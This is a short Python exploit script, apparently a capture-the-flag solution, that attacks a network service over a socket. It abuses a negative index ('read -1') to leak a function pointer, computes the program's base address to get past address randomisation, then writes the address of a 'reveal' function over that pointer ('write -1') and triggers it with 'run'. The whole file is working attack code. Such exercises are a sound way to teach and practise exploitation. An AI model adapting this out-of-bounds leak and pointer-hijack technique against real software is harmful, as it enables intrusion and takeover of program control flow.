import socket
import struct
import sys

p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]

VIEW_OFFSET = 0x1390
REVEAL_OFFSET = 0x11d0


def read_until(sock, marker):
    data = bytearray()
    while not data.endswith(marker):
        part = sock.recv(1)
        if not part:
            raise ConnectionError("connection closed")
        data.extend(part)
    return bytes(data)


def command(sock, text):
    read_until(sock, b"> ")
    sock.sendall(text + b"\n")
    return read_until(sock, b"\n").strip()


def main(host, port):
    with socket.create_connection((host, port), timeout=3) as sock:
        read_until(sock, b"\n")
        answer = command(sock, b"read -1")
        raw = bytes.fromhex(answer.split(b"=", 1)[1].decode())
        if len(raw) != 16:
            raise ValueError("unexpected card length")
        view = u64(raw[:8])
        state = u64(raw[8:16])
        base = view - VIEW_OFFSET
        reveal = base + REVEAL_OFFSET
        print("view", hex(view), "reveal", hex(reveal))

        replacement = p64(reveal) + p64(state)
        print(command(sock, b"write -1 " + replacement.hex().encode()).decode())
        print(command(sock, b"run").decode(errors="replace"))


if __name__ == "__main__":
    if len(sys.argv) != 3:
        raise SystemExit("usage: python3 index_card.py HOST PORT")
    main(sys.argv[1], int(sys.argv[2]))
